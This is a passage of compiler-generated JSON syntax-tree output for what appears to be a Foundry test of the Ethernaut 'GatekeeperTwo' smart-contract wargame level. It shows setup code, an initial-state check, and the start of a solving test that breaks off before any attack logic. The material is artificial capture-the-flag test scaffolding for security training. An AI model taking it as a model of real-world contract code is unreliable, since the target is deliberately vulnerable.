GatekeeperTwo"}},"visibility":"internal"},{"id":61617,"nodeType":"VariableDeclaration","src":"535:21:134","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"551:5:134","scope":61783,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":61616,"name":"address","nodeType":"ElementaryTypeName","src":"535:15:134","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":61619,"nodeType":"VariableDeclaration","src":"562:22:134","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"578:6:134","scope":61783,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":61618,"name":"address","nodeType":"ElementaryTypeName","src":"562:15:134","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":61721,"nodeType":"FunctionDefinition","src":"771:607:134","nodes":[],"body":{"id":61720,"nodeType":"Block","src":"795:583:134","nodes":[],"statements":[{"assignments":[61624],"declarations":[{"constant":false,"id":61624,"mutability":"mutable","name":"users","nameLocation":"830:5:134","nodeType":"VariableDeclaration","scope":61720,"src":"805:30:134","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":61622,"name":"address","nodeType":"ElementaryTypeName","src":"805:15:134","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61623,"nodeType":"ArrayTypeName","src":"805:17:134","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":61628,"initialValue":{"arguments":[{"hexValue":"32","id":61626,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"850:1:134","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":61625,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"838:11:134","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":61627,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"838:14:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"805:47:134"},{"expression":{"id":61633,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61629,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61617,"src":"863:5:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":61630,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61624,"src":"871:5:134","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":61632,"indexExpression":{"hexValue":"30","id":61631,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"877:1:134","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"871:8:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"863:16:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61634,"nodeType":"ExpressionStatement","src":"863:16:134"},{"expression":{"arguments":[{"id":61638,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61617,"src":"898:5:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":61639,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"905:7:134","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":61635,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"889:2:134","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61637,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"892:5:134","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"889:8:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":61640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"889:24:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61641,"nodeType":"ExpressionStatement","src":"889:24:134"},{"expression":{"id":61646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61642,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61619,"src":"924:6:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":61643,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61624,"src":"933:5:134","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":61645,"indexExpression":{"hexValue":"31","id":61644,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"939:1:134","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"933:8:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"924:17:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61647,"nodeType":"ExpressionStatement","src":"924:17:134"},{"expression":{"arguments":[{"id":61651,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61619,"src":"960:6:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":61652,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"968:8:134","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":61648,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"951:2:134","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61650,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"954:5:134","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"951:8:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":61653,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"951:26:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61654,"nodeType":"ExpressionStatement","src":"951:26:134"},{"expression":{"arguments":[{"id":61658,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61617,"src":"1002:5:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61655,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"988:2:134","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61657,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"991:10:134","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"988:13:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61659,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"988:20:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61660,"nodeType":"ExpressionStatement","src":"988:20:134"},{"expression":{"id":61665,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61661,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61612,"src":"1018:9:134","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":61663,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61617,"src":"1057:5:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":61662,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1030:26:134","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":61664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1030:33:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1018:45:134","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":61666,"nodeType":"ExpressionStatement","src":"1018:45:134"},{"assignments":[61669],"declarations":[{"constant":false,"id":61669,"mutability":"mutable","name":"factory","nameLocation":"1094:7:134","nodeType":"VariableDeclaration","scope":61720,"src":"1073:28:134","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoFactory_$53066","typeString":"contract GatekeeperTwoFactory"},"typeName":{"id":61668,"nodeType":"UserDefinedTypeName","pathNode":{"id":61667,"name":"GatekeeperTwoFactory","nameLocations":["1073:20:134"],"nodeType":"IdentifierPath","referencedDeclaration":53066,"src":"1073:20:134"},"referencedDeclaration":53066,"src":"1073:20:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoFactory_$53066","typeString":"contract GatekeeperTwoFactory"}},"visibility":"internal"}],"id":61674,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":61672,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1104:24:134","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_GatekeeperTwoFactory_$53066_$","typeString":"function () returns (contract GatekeeperTwoFactory)"},"typeName":{"id":61671,"nodeType":"UserDefinedTypeName","pathNode":{"id":61670,"name":"GatekeeperTwoFactory","nameLocations":["1108:20:134"],"nodeType":"IdentifierPath","referencedDeclaration":53066,"src":"1108:20:134"},"referencedDeclaration":53066,"src":"1108:20:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoFactory_$53066","typeString":"contract GatekeeperTwoFactory"}}},"id":61673,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1104:26:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoFactory_$53066","typeString":"contract GatekeeperTwoFactory"}},"nodeType":"VariableDeclarationStatement","src":"1073:57:134"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":61681,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61669,"src":"1178:7:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoFactory_$53066","typeString":"contract GatekeeperTwoFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperTwoFactory_$53066","typeString":"contract GatekeeperTwoFactory"}],"id":61680,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1170:7:134","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61679,"name":"address","nodeType":"ElementaryTypeName","src":"1170:7:134","typeDescriptions":{}}},"id":61682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1170:16:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61678,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1164:5:134","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":61683,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1164:23:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":61675,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61612,"src":"1140:9:134","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":61677,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1150:13:134","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1140:23:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":61684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1140:48:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61685,"nodeType":"ExpressionStatement","src":"1140:48:134"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61686,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1198:2:134","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61688,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1201:9:134","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1198:12:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":61689,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1198:14:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61690,"nodeType":"ExpressionStatement","src":"1198:14:134"},{"expression":{"arguments":[{"id":61694,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61619,"src":"1237:6:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61691,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1223:2:134","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61693,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1226:10:134","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1223:13:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1223:21:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61696,"nodeType":"ExpressionStatement","src":"1223:21:134"},{"expression":{"id":61713,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61697,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61615,"src":"1254:8:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":61702,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61612,"src":"1307:9:134","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":61706,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61669,"src":"1332:7:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoFactory_$53066","typeString":"contract GatekeeperTwoFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperTwoFactory_$53066","typeString":"contract GatekeeperTwoFactory"}],"id":61705,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1324:7:134","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61704,"name":"address","nodeType":"ElementaryTypeName","src":"1324:7:134","typeDescriptions":{}}},"id":61707,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1324:16:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61703,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1318:5:134","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":61708,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1318:23:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":61709,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1343:1:134","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":61701,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1287:19:134","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":61710,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1287:58:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61700,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1279:8:134","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":61699,"name":"address","nodeType":"ElementaryTypeName","src":"1279:8:134","stateMutability":"payable","typeDescriptions":{}}},"id":61711,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1279:67:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":61698,"name":"GatekeeperTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53011,"src":"1265:13:134","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperTwo_$53011_$","typeString":"type(contract GatekeeperTwo)"}},"id":61712,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1265:82:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}},"src":"1254:93:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}},"id":61714,"nodeType":"ExpressionStatement","src":"1254:93:134"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61715,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1357:2:134","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61717,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1360:9:134","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1357:12:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":61718,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1357:14:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61719,"nodeType":"ExpressionStatement","src":"1357:14:134"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"780:5:134","parameters":{"id":61620,"nodeType":"ParameterList","parameters":[],"src":"785:2:134"},"returnParameters":{"id":61621,"nodeType":"ParameterList","parameters":[],"src":"795:0:134"},"scope":61783,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61742,"nodeType":"FunctionDefinition","src":"1630:137:134","nodes":[],"body":{"id":61741,"nodeType":"Block","src":"1657:110:134","nodes":[],"statements":[{"expression":{"arguments":[{"id":61728,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61619,"src":"1681:6:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61725,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1667:2:134","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61727,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1670:10:134","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1667:13:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61729,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1667:21:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61730,"nodeType":"ExpressionStatement","src":"1667:21:134"},{"expression":{"arguments":[{"arguments":[{"id":61733,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61612,"src":"1730:9:134","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":61736,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61615,"src":"1749:8:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}],"id":61735,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1741:7:134","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61734,"name":"address","nodeType":"ElementaryTypeName","src":"1741:7:134","typeDescriptions":{}}},"id":61737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1741:17:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":61732,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1710:19:134","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":61738,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1710:49:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":61731,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1698:11:134","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":61739,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1698:62:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61740,"nodeType":"ExpressionStatement","src":"1698:62:134"}]},"documentation":{"id":61722,"nodeType":"StructuredDocumentation","src":"1562:63:134","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1639:8:134","parameters":{"id":61723,"nodeType":"ParameterList","parameters":[],"src":"1647:2:134"},"returnParameters":{"id":61724,"nodeType":"ParameterList","parameters":[],"src":"1657:0:134"},"scope":61783,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61782,"nodeType":"FunctionDefinition","src":"1822:255:134","nodes":[],"body":{"id":61781,"nodeType":"Block","src":"1850:227:134","nodes":[],"statements":[{"expression":{"arguments":[{"id":61749,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61619,"src":"1869:6:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":61750,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61619,"src":"1877:6:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61746,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1860:2:134","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61748,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1863:5:134","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15334,"src":"1860:8:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) 